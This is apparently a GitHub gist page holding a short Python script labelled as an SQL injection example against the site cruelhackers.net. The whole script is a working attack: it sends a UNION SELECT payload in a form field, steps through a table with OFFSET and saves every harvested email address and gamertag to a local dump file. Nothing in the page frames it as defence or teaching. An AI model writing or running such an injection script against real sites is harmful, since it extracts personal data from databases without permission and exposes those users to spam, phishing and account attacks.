Skip to content

Instantly share code, notes, and snippets.

@mobeigi
Created November 20, 2016 08:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mobeigi/c986172ab475e425201d5267e7c9cfd0 to your computer and use it in GitHub Desktop.
Save mobeigi/c986172ab475e425201d5267e7c9cfd0 to your computer and use it in GitHub Desktop.
SQL injection example for cruelhackers.net
import requests, re, os
START_NUM = 0
#Create dump file
file = open('db_dump.txt', 'a+')
count = 0
while True:
payload = "junk' union select concat_ws(' ', EMAIL, GAMERSTAG) from COMBO LIMIT 999999 OFFSET " + str(START_NUM + count) + "#";
r = requests.post('http://cruelhackers.net/index.php', data = {'gamerstag': payload})
# If successful, add to file
if r.status_code == 200:
count = count + 1
try:
data = re.search(r'<b>Email:</b>(.*)</p>', r.text).group(1)
except Exception:
print "Failed to find data on page."
continue;
# Gamer tags can contain spaces
split = data.strip().split(" ")
email = split[0]
gamerstag = " ".join(split[1:])
file.write(gamerstag + '\t' + email + '\n')
else:
break;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment